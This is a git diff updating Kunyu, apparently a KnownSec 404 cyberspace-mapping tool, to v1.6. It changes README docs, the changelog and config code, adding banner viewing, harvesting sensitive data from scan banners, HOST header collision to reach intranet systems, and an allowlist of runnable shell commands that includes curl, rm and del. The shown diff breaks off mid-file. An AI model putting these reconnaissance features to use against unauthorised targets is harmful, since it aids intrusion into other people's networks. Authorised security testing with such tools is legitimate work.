diff --git a/CHANGELOG b/CHANGELOG
index 84adf58..819146c 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -4,6 +4,19 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [v1.6] - 2021-11-12
+### Added
+- Brand new style heading
+- Add Custom timeout options [timeout]
+- Add Raw data sensitive information matching [SearchKeyWord]
+- Added a command to view the output information banner information [view]
+- Optimized the abnormal launching program mechanism
+- Optimized the field information output by the info command
+- Support the execution of system commands
+- Optimized the host collision mechanism
+- Optimized the problem of incomplete information display on the mac system
+
+
 ## [v1.5] - 2021-10-20
 ### Added 
 - Optimized the HOSTS collision function
diff --git a/README.md b/README.md
index d334e86..603775d 100644
--- a/README.md
+++ b/README.md
@@ -11,7 +11,7 @@ English | [中文文档](./doc/README_CN.md)
 
 Kunyu (kunyu), whose name is taken from <Knuyu Wanguo Quantu>, is actually a professional subject related to geographic information, which counts the geographic information of the sea, land, and sky. The same applies to cyberspace. The same is true for discovering unknown and fragile assets. It is more like a cyberspace map, which is used to comprehensively describe and display cyberspace assets, various elements of cyberspace and the relationship between elements, as well as cyberspace and real space. The mapping relationship. So I think "Kun Yu" still fits this concept.
 
-Kunyu aims to make corporate asset collection more efficient and enable more security-related practitioners to understand and use cyberspace surveying and mapping technology.
+Kunyu aims to make corporate asset collection more efficient and enable more security-related practitioners to understand and use cyberspace surveying and mapping technology. 
 
 ## Application scenario
 
@@ -49,7 +49,7 @@ P.S. Windows also supports python3 setup.py install.
 ```
 
 # 0x02 Configuration instructions
-When you run the program for the first time, you can initialize by entering the following command. Other login methods are provided. However, it is recommended to use the API method. Because the user name/password login requires an additional request, the API method is theoretically more efficient.
+When you run the program for the first time, you can initialize by entering the following command. Other login methods are provided. However, it is recommended to use the API method. Because the user name/password login requires an additional request, the API method is theoretically more efficient. 
 ```
 kunyu init --apikey <your zoomeye key> --seebug <your seebug key>
 ```
@@ -57,9 +57,11 @@ kunyu init --apikey <your zoomeye key> --seebug <your seebug key>
 
 You need to log in with ZoomEye credentials before using this tool for information collection.
 
-Visit address: https://www.zoomeye.org/
+ZoomEye access address: https://www.zoomeye.org/
 
-The output file path can be customized by the following command
+Seebug access address: https://www.seebug.org/
+
+The output file path can be customized by the following command,The default output path is: C:/Users/active user/kunyu/output/  or /active user/kunyu/output
 
 ```
 kunyu init --output C:\Users\风起\kunyu\output
@@ -89,14 +91,16 @@ Global commands:
         SearchDomain <Domain>                     Domain name associated/subdomain search
         EncodeHash <encryption> <query>           Encryption method interface 
         HostCrash <IP> <Domain>                   Host Header Scan hidden assets
-        Seebug <Query>                            Search Seebug vulnerability information
-        set <Option>                              Set arguments values
+        Seebug <query>                            Search Seebug vulnerability information
+        set <option>                              Set Global arguments values
+        view <ID>                                 Look over banner row data information
+        SearchKeyWord                             Query sensitive information by keyword
         Pocsuite3                                 Invoke the pocsuite component
-        ExportPath                                Returns the path of the output file 
+        ExportPath                                Returns the path of the output file
         clear                                     Clear the console screen
         show                                      Show can set options
         help                                      Print Help info
-        exit                                      Exit KunYu & 
+        exit                                      Exit KunYu &
 ```
 
 **OPTIONS**
@@ -106,11 +110,12 @@ ZoomEye:
 	page <Number>    				The number of pages returned by the query
 	dtype <0/1>      				Query associated domain name/subdomain name
 	btype <host/web> 				Set the API interface for batch query
+	timeout <num>					Set the timeout period of Kunyu HTTP request 
 ```
 
 ## Use case introduction
 
-*Here we use the ZoomEye module for demonstration*
+*Kunyu usage tutorial is as follows * 
 
 **User information query**
 
@@ -130,7 +135,13 @@ ZoomEye:
 
 **Icon Search**
 
-When collecting corporate assets, we can use this method to retrieve the same ico icon assets, which usually has a good effect when associating related corporate assets. But it should be noted that if some sites also use this ico icon, irrelevant assets may be associated (but people who are bored with other people's ico icons are always in the minority). Support url or local file search.
+When collecting corporate assets, we can use this method to retrieve the same ico icon assets, which usually has a good effect when associating related corporate assets. But it should be noted that if some sites also use this ico icon, irrelevant assets may be associated (but people who are bored with other people's ico icons are always in the minority). Support url or local file search. 
+
+**Command format:** 
+
+SearchIocn https://www.baidu.com/favicon.ico 
+
+SearchIcon /root/favicon.ico 
 
 ![](./images/searchico.png)
 
@@ -154,27 +165,66 @@ Through HTTP request packet features or website-related features, the same frame
 
 **Associated Domain/Subdomain Search**
 
-Search for associated domain names and subdomains, and query associated domain names by default. Two modes can be set by setting the dtype parameter.
+Search for associated domain names and subdomains, and query associated domain names by default. You can set **associated domain name/subdomain name** two modes by setting the dtype parameter. 
+
+Command format: **SearchDomain Domain** 
 
 ![](./images/searchdomain.png)
 
+**View Banner Information** 
+
+The user can view the banner corresponding to the specified serial number through the view command, so as to further analyze the front-end code and Header header, and the user can intercept the banner information for further association matching. 
+
+Command format: **view ID** 
+
+![](./images/view.png)
+
+**Collection of Sensitive Information** 
+
+After Kunyu v1.6.0, the acquisition of sensitive information in the banner has been added. Normally use the relevant grammar and set the number of pages. Kunyu will automatically collect the sensitive data in the banner information of the last query result, and then use the SearchKeyWord command to view the result . **Currently, testing will continue to focus on this feature point**. 
+
+![](./images/keyword.png)
+
+**System command execution** 
+
+After Kunyu v1.6.0, support for the execution of system commands has been added. You can debug surveying and mapping data more conveniently and effectively by executing some commonly used system commands. For a list of specific executable commands, see Article 11 in the Issue of the README file. 
+
+**Example One** 
+
+![](./images/systems.png)
+
+**Example two **
+
+![](./images/system.png)
+
 **Encoding hash calculation**
 
 In some scenarios, you can use this command to perform common HASH encryption/encoding, such as BASE64, MD5, mmh3, HEX encoding, and debug in this way.
 
+**Command format:** 
+
+EncodeHash hex 7239dcc9beb5c9cd795415f9
+EncodeHash md5 https://www.baidu.com/favicon.ico
+EncodeHash md5 /root/favicon.ico
+EncodeHash mmh3 https://www.baidu.com/favicon.ico
+EncodeHash mmh3 /root/favicon.ico
+EncodeHash base64 dasdasdsa
+
 ![](./images/encode.png)
 
 **Seebug vulnerability query**
 
 You can query historical related vulnerabilities by entering information about the framework and equipment you want to find, but you need to note that only English is supported, and improvements and upgrades will be made later.
 
+Command format: **Seebug tongda** 
+
 ![](./images/seebug.png)
 
 **Setting parameters**
 
-When set page = 2, the returned results are 40. You can modify the page parameter to set the number of pages to be queried. Note that 1 page = 20/items. You can modify the value according to your needs to get more returned results.
+When set page = 2, the returned results are 40. You can modify the page parameter to set the number of pages to be queried. Note that 1 page = 20/items. You can modify the value according to your needs to get more returned results. 
 
-The configurable parameters and the current values of the parameters are displayed through show.
+The configurable parameters and the current values of the parameters are displayed through show. 
 
 ![](./images/show.png)
 
@@ -188,9 +238,23 @@ In versions after v1.3.1, you can use kunyu to link the console mode of pocsuite
 
 **HOSTS head collision**
 
-Through the HOSTS collision, the hidden assets in the intranet can be effectively collided, and the intranet service can be accessed according to the ServerName domain name and IP configured in the middleware httpf.conf. This can be achieved by setting the local hosts file later, because the local hosts file takes precedence. The level is higher than DNS server resolution. Support reverse check through ZoomEye domain name library or read TXT file to get the list of domain names.
+Through HOSTS collision, the hidden assets in the intranet can be effectively collided. According to the ServerName domain name and IP configured in the middleware httpf.conf, the access can be directly connected to the intranet business system! Follow-up by setting the local hosts file to achieve local DNS resolution, because the priority of the local hosts file is higher than the DNS server resolution. Support reverse check through ZoomEye domain name library or read TXT file to get the list of domain names. 
 
-HOSTS cross collision
+**Command format:** 
+
+HostCrash C:\ip.txt C:\host.txt 
+
+HostCrash C:\ip.txt baidu.com 
+
+HostCrash 1.1.1.1 baidu.com 
+
+HostCrash 1.1.1.1 G:\host.txt 
+
+**Example One** 
+
+![](./images/searchcrash.png)
+
+**Example Two** 
 
 ![](./images/searchcrashs.png)
 
@@ -207,9 +271,11 @@ All search results are saved in the user's root directory, and the directory is
 
 ​    The tool framework has reference to Kunlun Mirror and Pocsuite3, which are all very good works.
 
+​	About the developer Fengqi(风起) Related articles: https://www.anquanke.com/member.html?memberId=148652 
+
 ​    Thanks to all the friends of KnownSec 404 Team.
 
-> “ 看得清 ” 是能力的体现，是 “ 器 ” ，而 “ 看得见 ” 就是思想的体现，那最后关联的是 “ 道 ”。
+> "Seeing clearly" is a manifestation of ability, a "tool", and "visible" is a manifestation of thought, and the final link is "Dao." 
 >
 > ​																																							 	   --SuperHei
 
@@ -255,11 +321,28 @@ Then save it and you can use it normally. The bug appears because there is a Chi
 
 **9. Pocsuite3 module POC storage directory**
 
-When using the pocsuite3 module, if you want to add a new POC module, you can add a POC file in **project directory/kunyu/pocs/**.
+When using the pocsuite3 module, if you want to add a new POC module, you can add a POC file in **project directory/pocsuite3/pocs/**. It should be noted that when using the packaged Kunyu console command, you should add the POC to this directory, and repackage the Kunyu program to load the POC normally. 
 
 **10. Pocsuite3 module POC missing issue**
 
-When using the Pocsuite command linkage, if it is a packaged Kunyu version, the poc has been fixed. At this time, modifying the poc directory cannot add new modules. At this time, you can repackage it or use the **project directory/kunyu /console.py** Run kunyu to update the poc module in real time.
+When using the Pocsuite command linkage, if it is a packaged Kunyu version, the poc has been fixed. At this time, modifying the poc directory cannot add new modules. At this time, you can repackage it or use the **project directory/kunyu /console.py** Run kunyu to update the poc module in real time. 
+
+**11. Kunyu can execute system commands as follows. ** 
+
+**Windows:**
+        OS_SYSTEM = [**"ipconfig", "dir", "whoami", "ping", "telnet", "cd", "findstr", "chdir","find", "mysql", "type", "curl", "netstat", "tasklist", "taskkill", "tracert", "del", "ver"**]
+
+**Linux/Mac：**
+
+​	OS_SYSTEM = [**"ifconfig", "ls", "cat", "pwd", "whoami", "ping", "find", "grep", "telnet", "mysql", "cd", "vi", "more", "less", "curl", "ps", "netstat", "rm", "touch", "mkdir", "uname"**]
+
+**12, Kunyu operating environment** 
+
+It is recommended to use Python3.2-3.9 version, other versions of Python3 may have unknown errors, **Python2 cannot be used**. 
+
+**13、Set the timeout period **
+
+**If the HTTP request is not responded in time, it can be solved by increasing the timeout time, such as: set timeout = 50 **
 
 # 0x06 Contributions
 
@@ -268,11 +351,19 @@ When using the Pocsuite command linkage, if it is a packaged Kunyu version, the
 [fenix@knownsec 404](https://github.com/13ph03nix)  
 [0x7F@knownsec 404](https://github.com/0x7Fancy)
 
+# 0x07 Events
+
+ **404StarLink 2.0 - Galaxy**
+
+ **WHC 2021 (补天白帽大会) Best Weapon of the Year Award **
+
+ **KCON 2021 Arsenal**
+
 
 # 0x07 Community
 
 If you have any questions, you can submit an issue under the project, or contact us through the following methods.
 
-Scan the QR code to add the ZoomEye staff member WeChat, and remark Kunyu, which will draw everyone to the ZoomEye cyberspace surveying and mapping exchange group
+1、Scan the Wechat QR code to add ZoomEye operation Wechat, and comment on Kunyu, which will draw everyone to the ZoomEye Cyberspace Surveying and Mapping Exchange Group for communication. 
 
 ![](./images/yunying.jpg)
diff --git a/doc/README_CN.md b/doc/README_CN.md
index cbfbc84..6d15c63 100644
--- a/doc/README_CN.md
+++ b/doc/README_CN.md
@@ -1,6 +1,8 @@
 <h1 align="center">Kunyu(坤舆) - 更高效的企业资产收集</h1>
 
-[![GitHub stars](https://img.shields.io/github/stars/knownsec/Kunyu)](https://github.com/knownsec/Kunyu) [![GitHub issues](https://img.shields.io/github/issues/knownsec/Kunyu)](https://github.com/knownsec/Kunyu/issues) [![GitHub release](https://img.shields.io/github/release/knownsec/Kunyu)](https://github.com/knownsec/Kunyu/releases)![](https://img.shields.io/badge/python-%3E%3D3.2-yellow) [![](https://img.shields.io/badge/author-风起-blueviolet)](https://github.com/wikiZ) [![](https://img.shields.io/badge/KnownSec-404Team-blue)](https://github.com/wikiZ)
+[![GitHub stars](https://img.shields.io/github/stars/knownsec/Kunyu)](https://github.com/knownsec/Kunyu) [![GitHub release](https://img.shields.io/github/forks/knownsec/Kunyu) ![GitHub release](https://img.shields.io/github/release/knownsec/Kunyu)](https://github.com/knownsec/Kunyu/releases)![](https://img.shields.io/badge/python-%3E%3D3.2-yellow) [![](https://img.shields.io/badge/author-风起-blueviolet)](https://github.com/wikiZ) [![](https://img.shields.io/badge/KnownSec-404Team-blue)](https://github.com/wikiZ)
+
+
 
 中文文档 | [English](../README.md)
 
@@ -44,7 +46,7 @@ Windows:
 PYPI:
 	pip3 install kunyu
 	
-P.S. Windows同样支持python3 setup.py install.
+P.S. Windows同样支持python3 setup.py install
 ```
 
 # 0x02 配置说明
@@ -54,9 +56,19 @@ kunyu init --apikey <your zoomeye key> --seebug <your seebug key>
 ```
 ![](../images/setinfo.png)
 
-需要通过ZoomEye登录凭证，才使用该工具进行信息收集。
+初次使用需要通过ZoomEye登录凭证，才使用该工具进行信息收集。
+
+**ZoomEye访问地址：https://www.zoomeye.org/**
 
-访问地址：https://www.zoomeye.org/
+**Seebug访问地址：https://www.seebug.org/**
+
+可以通过以下命令自定义输出文件路径 ，默认输出路径为:C:\Users\active user\kunyu\output\
+
+```bash
+kunyu init --output C:\Users\风起\kunyu\output
+```
+
+![](../images/setoutput.png)
 
 # 0x03 工具使用
 
@@ -67,7 +79,7 @@ kunyu console
 ```
 ![](../images/infos.png)
 
-**ZoomEye**
+**Kunyu Command**
 
 ```
 Global commands:
@@ -78,16 +90,18 @@ Global commands:
         SearchBatch <File>                        Batch search Host
         SearchCert <Domain>                       SSL certificate Search
         SearchDomain <Domain>                     Domain name associated/subdomain search
-        EncodeHash <encryption> <query>     	  Encryption method interface 
+        EncodeHash <encryption> <query>           Encryption method interface 
         HostCrash <IP> <Domain>                   Host Header Scan hidden assets
-        Seebug <Query>                            Search Seebug vulnerability information
-        set <Option>                              Set arguments values
+        Seebug <query>                            Search Seebug vulnerability information
+        set <option>                              Set Global arguments values
+        view <ID>                                 Look over banner row data information
+        SearchKeyWord                             Query sensitive information by keyword
         Pocsuite3                                 Invoke the pocsuite component
-        ExportPath                                Returns the path of the output file 
+        ExportPath                                Returns the path of the output file
         clear                                     Clear the console screen
         show                                      Show can set options
         help                                      Print Help info
-        exit                                      Exit KunYu & 
+        exit                                      Exit KunYu &
 ```
 
 **OPTIONS**
@@ -97,11 +111,12 @@ ZoomEye:
 	page <Number>    查询返回页数(默认查询一页，每页20条数据)
 	dtype <0/1>      查询关联域名/子域名(设置0为查询关联域名，反之为子域名)
 	btype <host/web> 设置批量查询的API接口(默认为HOST)
+	timeout <num>	 设置Kunyu HTTP请求的超时时间
 ```
 
 ## 使用案例
 
-*这里我们使用 ZoomEye 模块进行演示*
+*Kunyu（坤舆）的使用教程如下所示*
 
 **用户信息**
 
@@ -123,6 +138,12 @@ ZoomEye:
 
 在搜集企业资产时，我们可以使用这样的方式进行检索相同 ico 图标资产，在关联相关企业资产时，通常会有不错的效果。但是需要注意的是如果某些站点也使用这个 ico 图标，可能会关联出无关资产(但是无聊用别人 ico 图标的人总归是少数吧)。支持url或本地文件的方式搜索。
 
+**命令格式：**
+
+SearchIocn https://www.baidu.com/favicon.ico
+
+SearchIcon /root/favicon.ico
+
 ![](../images/searchico.png)
 
 **SSL证书搜索**
@@ -145,20 +166,59 @@ ZoomEye:
 
 **关联域名/子域名搜索**
 
-对关联域名以及子域名进行搜索，默认查询关联域名，可以通过设置 dtype 参数设置两种模式。
+对关联域名以及子域名进行搜索，默认查询关联域名，可以通过设置 dtype 参数设置 **关联域名/子域名** 两种模式。
+
+命令格式：**SearchDomain Domain**
 
 ![](../images/searchdomain.png)
 
+**查看Banner信息**
+
+用户可以通过view命令查看指定序号对应信息的Banner，从而进一步分析前端代码及Header头，用户可以截取banner信息进一步的关联匹配。
+
+命令格式: **view ID**
+
+![](../images/view.png)
+
+**敏感信息收集**
+
+在Kunyu v1.6.0版本后，增加了对banner中敏感信息的获取，平时使用正常使用相关语法，设置页数，Kunyu会自动收集上一次查询结果banner信息中的敏感数据，然后通过SearchKeyWord命令查看结果。**目前将持续测试关注该功能点**。
+
+![](../images/keyword.png)
+
+**系统命令执行**
+
+在Kunyu v1.6.0后增加了对系统命令执行的支持，可以通过执行常用的一些系统命令进行更方便有效的调试测绘数据，具体可执行命令列表可见README文件Issue中第11条。
+
+**示例一**
+
+![](../images/systems.png)
+
+**示例二**
+
+![](../images/system.png)
+
 **编码哈希计算**
 
 在一些场景下，可以通过该命令进行常用的HASH加密/编码，如：BASE64、MD5、mmh3、HEX编码，通过这种方式进行调试。
 
+**命令格式：**
+
+EncodeHash hex 7239dcc9beb5c9cd795415f9
+EncodeHash md5 https://www.baidu.com/favicon.ico
+EncodeHash md5 /root/favicon.ico
+EncodeHash mmh3 https://www.baidu.com/favicon.ico
+EncodeHash mmh3 /root/favicon.ico
+EncodeHash base64 dasdasdsa
+
 ![](../images/encode.png)
 
 **Seebug漏洞查询**
 
 通过输入想要查找的框架、设备等信息，查询历史相关漏洞，但是需要注意仅支持英文，这里后期会进行改进，升级。
 
+命令格式: **Seebug tongda**
+
 ![](../images/seebug.png)
 
 **设置参数**
@@ -179,9 +239,20 @@ ZoomEye:
 
 **HOSTS头碰撞**
 
-通过HOSTS碰撞，可以有效的碰撞出内网中隐藏的资产，根据中间件httpf.conf中配置的ServerName域名和IP捆绑即可访问内网服务，后续通过设置本地hosts文件实现，因为本地hosts文件优先级高于DNS服务器解析。支持通过ZoomEye域名库反查或者读取TXT文件获取域名列表。
+通过HOSTS碰撞，可以有效的碰撞出内网中隐藏的资产，根据中间件httpf.conf中配置的ServerName域名和IP捆绑访问即可直通内网业务系统！后续通过设置本地hosts文件实现本地DNS解析，因为本地hosts文件优先级高于DNS服务器解析。支持通过ZoomEye域名库反查或者读取TXT文件获取域名列表。
+
+**命令格式：**
 
-HOSTS交叉碰撞
+HostCrash C:\ip.txt C:\host.txt
+HostCrash C:\ip.txt baidu.com
+HostCrash 1.1.1.1 baidu.com
+HostCrash 1.1.1.1 G:\host.txt
+
+**示例一**
+
+![](../images/searchcrash.png)
+
+**示例二**
 
 ![](../images/searchcrashs.png)
 
@@ -194,11 +265,11 @@ HOSTS交叉碰撞
 
 # 0x04 Loading
 
-​    其实还有很多的思路，但是作为 Alpha 版本先这样，后期会不断进行完善的，希望 Kunyu (坤舆)能够让更多安全从业者所知，谢谢各位的支持。
+​    感谢各位用户的支持，Kunyu也会坚持进行完善更新的，希望 Kunyu (坤舆)能够让更多安全从业者所知，工具框架有参考昆仑镜、Pocsuite3，都是非常棒的作品。	
 
-​    工具框架有参考昆仑镜、Pocsuite3，都是非常棒的作品。	
+​    感谢 KnownSec 404 Team 的全体小伙伴。	
 
-​    感谢 KnownSec 404 Team 的全体小伙伴。
+​	**关于开发者 风起 相关文章：https://www.anquanke.com/member.html?memberId=148652**																																																	
 
 > “ 看得清 ” 是能力的体现，是 “ 器 ” ，而 “ 看得见 ” 就是思想的体现，那最后关联的是 “ 道 ”。
 >
@@ -245,25 +316,50 @@ Kunyu的自动补全支持大小写，命令记录等，使用Tab进行补全，
 
 **9、Pocsuite3模块POC存放目录**
 
-对于使用pocsuite3模块时，如果想要新增POC模块，则可以在 **项目目录/pocsuite3/pocs/** 添加POC文件。
+对于使用pocsuite3模块时，如果想要新增POC模块，则可以在 **项目目录/pocsuite3/pocs/** 添加POC文件。需要注意的是，当使用打包好的Kunyu console命令时应添加POC到该目录，并重新打包kunyu程序才可以正常加载POC。
 
 **10、Pocsuite3模块POC缺失问题**
 
 使用Pocsuite命令联动时，如果是已经打包好的Kunyu版本，则poc已经被固定，这时修改poc目录是无法新增模块的，这时可以通过重新打包的方式，或者使用 **项目目录/kunyu/console.py** 运行kunyu可实时更新poc模块。
 
+**11、Kunyu可执行系统命令如下。**
+
+**Windows:**
+        OS_SYSTEM = [**"ipconfig", "dir", "whoami", "ping", "telnet", "cd", "findstr", "chdir","find", "mysql", "type", "curl", "netstat", "tasklist", "taskkill", "tracert", "del", "ver"**]
+
+**Linux/Mac：**
+
+​	OS_SYSTEM = [**"ifconfig", "ls", "cat", "pwd", "whoami", "ping", "find", "grep", "telnet", "mysql", "cd", "vi", "more", "less", "curl", "ps", "netstat", "rm", "touch", "mkdir", "uname"**]
+
+**12、Kunyu运行环境**
+
+这里建议使用Python3.2 — 3.9版本，Python3其他版本可能会有未知的报错，**Python2不可使用**。
+
+13、设置超时时间
+
+如果HTTP请求没有得到及时响应，可以通过增大timeout时间解决，如:set timeout = 50
+
 # 0x06 Contributions
 
-[风起@knownsec 404](https://github.com/wikiZ)
+[风起@knownsec 404](https://github.com/wikiZ) 
 
-[wh0am1i@knownsec 404](https://github.com/wh0am1i)  
+ [wh0am1i@knownsec 404](https://github.com/wh0am1i)  
 [fenix@knownsec 404](https://github.com/13ph03nix)  
 [0x7F@knownsec 404](https://github.com/0x7Fancy)
 
+# 0x07 Events
+
+ **404StarLink 2.0 - Galaxy**
+
+ **WHC 2021 (补天白帽大会) 年度最佳兵器奖**
+
+ **KCON 2021 Arsenal**
+
 
-# 0x07 Community
+# 0x08 Community
 
 如果有问题可以在项目下提交issue，或通过以下方式联系我们。
 
-1、扫描一下二维码添加ZoomEye运营微信，并备注坤舆，会把大家拉到ZoomEye网空测绘交流群中
+1、扫描一下微信二维码添加ZoomEye运营微信，并备注坤舆，会把大家拉到ZoomEye网空测绘交流群中交流。
 
 ![](../images/yunying.jpg)
diff --git a/images/encode.png b/images/encode.png
index da149b5..a78b52a 100644
Binary files a/images/encode.png and b/images/encode.png differ
diff --git a/images/infos.png b/images/infos.png
index 85eadf5..125afc3 100644
Binary files a/images/infos.png and b/images/infos.png differ
diff --git a/images/keyword.png b/images/keyword.png
new file mode 100644
index 0000000..315a350
Binary files /dev/null and b/images/keyword.png differ
diff --git a/images/searchcrash.png b/images/searchcrash.png
new file mode 100644
index 0000000..ace4f2b
Binary files /dev/null and b/images/searchcrash.png differ
diff --git a/images/searchcrashs.png b/images/searchcrashs.png
index b586b89..c48b178 100644
Binary files a/images/searchcrashs.png and b/images/searchcrashs.png differ
diff --git a/images/searchhost.png b/images/searchhost.png
index c8cccf0..dfe1675 100644
Binary files a/images/searchhost.png and b/images/searchhost.png differ
diff --git a/images/setinfo.png b/images/setinfo.png
index 1c8b66a..3c6f85c 100644
Binary files a/images/setinfo.png and b/images/setinfo.png differ
diff --git a/images/show.png b/images/show.png
index d9385f3..7a243e7 100644
Binary files a/images/show.png and b/images/show.png differ
diff --git a/images/system.png b/images/system.png
new file mode 100644
index 0000000..fc0654b
Binary files /dev/null and b/images/system.png differ
diff --git a/images/systems.png b/images/systems.png
new file mode 100644
index 0000000..c26dea6
Binary files /dev/null and b/images/systems.png differ
diff --git a/images/userinfo.png b/images/userinfo.png
index 8b0734b..5de45af 100644
Binary files a/images/userinfo.png and b/images/userinfo.png differ
diff --git a/images/view.png b/images/view.png
new file mode 100644
index 0000000..e1317fa
Binary files /dev/null and b/images/view.png differ
diff --git a/images/yunying.jpg b/images/yunying.jpg
index 6a0d778..802d199 100644
Binary files a/images/yunying.jpg and b/images/yunying.jpg differ
diff --git a/kunyu/config/__version__.py b/kunyu/config/__version__.py
index e445736..f312c60 100644
--- a/kunyu/config/__version__.py
+++ b/kunyu/config/__version__.py
@@ -15,25 +15,21 @@
 __python_version__ = sys.version.split()[0]
 __platform__ = platform.platform()
 __url__ = "https://github.com/knownsec/Kunyu"
-__version__ = '1.5.0'
+__version__ = '1.6.0'
 __author__ = '风起'
 __Team__ = 'KnownSec 404 Team'
 __author_email__ = 'onlyzaliks@gmail.com'
 __copyright__ = 'Copyright (C) 2021 风起. All Rights Reserved'
 __introduction__ = """
-          ___           ___           ___           ___           ___     
-         /\__\         /\__\         /\__\         |\__\         /\__\    
-        /:/  /        /:/  /        /::|  |        |:|  |       /:/  /    
-       /:/__/        /:/  /        /:|:|  |        |:|  |      /:/  /     
-      /::\__\____   /:/  /  ___   /:/|:|  |__      |:|__|__   /:/  /  ___ 
-     /:/\:::::\__\ /:/__/  /\__\ /:/ |:| /\__\     /::::\__\ /:/__/  /\__\\
-     \/_|:|~~|~    \:\  \ /:/  / \/__|:|/:/  /    /:/~~/~    \:\  \ /:/  /
-        |:|  |      \:\  /:/  /      |:/:/  /    /:/  /       \:\  /:/  / 
-        |:|  |       \:\/:/  /       |::/  /     \/__/         \:\/:/  /  
-        |:|  |        \::/  /        /:/  /                     \::/  /    -V {version} Beta
-         \|__|         \/__/         \/__/                       \/__/    
-
 
+██╗  ██╗  ██╗   ██╗  ███╗   ██╗  ██╗   ██╗  ██╗   ██╗
+██║ ██╔╝  ██║   ██║  ████╗  ██║  ╚██╗ ██╔╝  ██║   ██║
+█████╔╝   ██║   ██║  ██╔██╗ ██║   ╚████╔╝   ██║   ██║
+██╔═██╗   ██║   ██║  ██║╚██╗██║    ╚██╔╝    ██║   ██║   
+██║  ██╗  ╚██████╔╝  ██║ ╚████║     ██║     ╚██████╔╝   -V {version} Beta  
+╚═╝  ╚═╝   ╚═════╝   ╚═╝  ╚═══╝     ╚═╝      ╚═════╝    
+                                                
+                                                                         
 GitHub:{url}
 
 kunyu is Cyberspace Search Engine auxiliary tools
@@ -68,5 +64,5 @@
     kunyu init --apikey "xxxxx911-6D2A-12345-4e23-64exxxxx6fb"
     kunyu init --username "404@knownsec.com" --password "P@ssword"
     kunyu init --seebug "012345200157abcdef981bcc89a1452c34d62b8c"
-    kunyu init --apikey "01234567-acbd-0000" --seebug "a73503200157"(推荐)
+    kunyu init --apikey "01234567-acbd-0000" --seebug "a73503200157" (recommend)
 """
diff --git a/kunyu/config/setting.py b/kunyu/config/setting.py
index 2f622e9..8af5e8b 100644
--- a/kunyu/config/setting.py
+++ b/kunyu/config/setting.py
@@ -9,7 +9,9 @@
 '''
 
 import os
-import re
+import platform
+
+PLATFORM = platform.system()
 
 # ZoomEye API
 USER_INFO_API = "https://api.zoomeye.org/resources-info"
@@ -21,10 +23,19 @@
 # Setting ZoomEye Query Fields
 ZOOMEYE_FIELDS_HOST = ["ID", "IP", "Port", "Protocol", "Service", "ISP", "Country", "City", "Title", "Time"]
 ZOOMEYE_FIELDS_WEB = ["ID", "IP", "URL", "Title", "OS", "WebApp", "DB", "Language", "Server", "Time"]
-ZOOMEYE_FIELDS_INFO = ["Plan", "Search", "Stats", "Interval"]
+ZOOMEYE_FIELDS_INFO = ["Name","Plan", "Search", "Expired_AT"]
 ZOOMEYE_FIELDS_DOMAIN = ["ID", "Domain", "IP", "TimeStamp"]
+COMMAND_INFO = ["Options", "Value", "Info"]
+SEMSITIVE_INFO = ["ID", "SEMSITIVE"]
 HOST_SCAN_INFO = ["IP", "Domain", "Title"]
 
+# Set executable system commands
+OS_SYSTEM = []
+if PLATFORM == "Windows":
+        OS_SYSTEM = ["ipconfig", "dir", "whoami", "ping", "telnet", "cd", "findstr", "chdir","find", "mysql", "type", "curl", "netstat", "tasklist", "taskkill", "tracert", "del", "ver"]
+else:
+        OS_SYSTEM = ["ifconfig", "ls", "cat", "pwd", "whoami", "ping", "find", "grep", "telnet", "mysql", "cd", "vi", "more", "less", "curl", "ps", "netstat", "rm", "touch", "mkdir", "uname"]
+
 # Kunyu OUTPUT File Path
 OUTPUT_PATH = os.path.expanduser('~/kunyu/output/')
 
diff --git a/kunyu/console.py b/kunyu/console.py
index ee28f4a..73d5774 100644
--- a/kunyu/console.py
+++ b/kunyu/console.py
@@ -21,12 +21,14 @@
 
 def main():
     try:
+        # Check whether Kunyu has been initialized, If not, exit the program
         if str(conf.get("zoomeye", "apikey")) == "None" and str(conf.get("login", "token")) == "None":
             raise Exception
 
         # Call the main class
         KunyuInterpreter().main()
     except Exception:
+        # Output initialization help document
         logger_console.info(__help__.format(datil=init))
 
 
diff --git a/kunyu/core/__init__.py b/kunyu/core/__init__.py
index e1b9b31..4d45e6e 100644
--- a/kunyu/core/__init__.py
+++ b/kunyu/core/__init__.py
@@ -31,7 +31,7 @@
                                              usage=argparse.SUPPRESS, add_help=True)
 
 # Initial Configuration
-parser_init_console = subparsers.add_parser('init', help='Enter console mode',
+parser_init_console = subparsers.add_parser('init', help='Enter init information',
                                             description=__help__.format(datil=init),
                                             formatter_class=argparse.RawDescriptionHelpFormatter,
                                             usage=argparse.SUPPRESS, add_help=True)
@@ -73,12 +73,13 @@ def initial_config():
         conf.add_section("path")
         conf.set("path", "output", setting.OUTPUT_PATH)
 
+# Verify the login status of the ZoomEye account
 def _get_login():
     param = '{{"username": "{}", "password": "{}"}}'.format(args.username, args.password)
     resp = requests.post(
         "https://api.zoomeye.org/user/login",
         data=param,
-        timeout=5
+        timeout=15
     )
     resp = json.loads(resp.text)
     try:
@@ -90,6 +91,7 @@ def _get_login():
 
 
 try:
+    # Initialize the configuration file
     initial_config()
     if args.apikey:
         conf.set("zoomeye", "apikey", args.apikey)
diff --git a/kunyu/core/console.py b/kunyu/core/console.py
index 40c2d43..54cd070 100644
--- a/kunyu/core/console.py
+++ b/kunyu/core/console.py
@@ -13,6 +13,9 @@
 import subprocess
 
 from colorama import init
+from rich.table import Table
+from rich.console import Console
+
 from kunyu.config import setting
 from rich.console import Console
 from kunyu.utils.log import logger
@@ -20,14 +23,14 @@
 from kunyu.core.zoomeye import ZoomEye
 from kunyu.utils import readineng as readline
 from kunyu.config.__version__ import __introduction__
+from kunyu.config.setting import COMMAND_INFO, OS_SYSTEM
 
 init(autoreset=True)
 PLATFORM = platform.system()
 
 # Determine the operating system clear screen command
 cmd = "cls" if PLATFORM == "Windows" else "clear"
-console = Console(color_system="auto")
-
+console = Console(color_system="auto", record=True)
 
 def readline_available():
     """
@@ -87,7 +90,8 @@ def getter(self, line):
     @property
     def prompt(self):
         """ Returns prompt string """
-        return "Kunyu (\033[31;1m{}\033[0m) > ".format(self.module)
+        os.system("")
+        return "Kunyu (\033[31;1m{moudle}\033[0m) > ".format(moudle=self.module)
 
     def get_command_handler(self, command):
         """ Parsing command and returning appropriate handler.
@@ -137,24 +141,41 @@ def auxiliary(self, command, line=None):
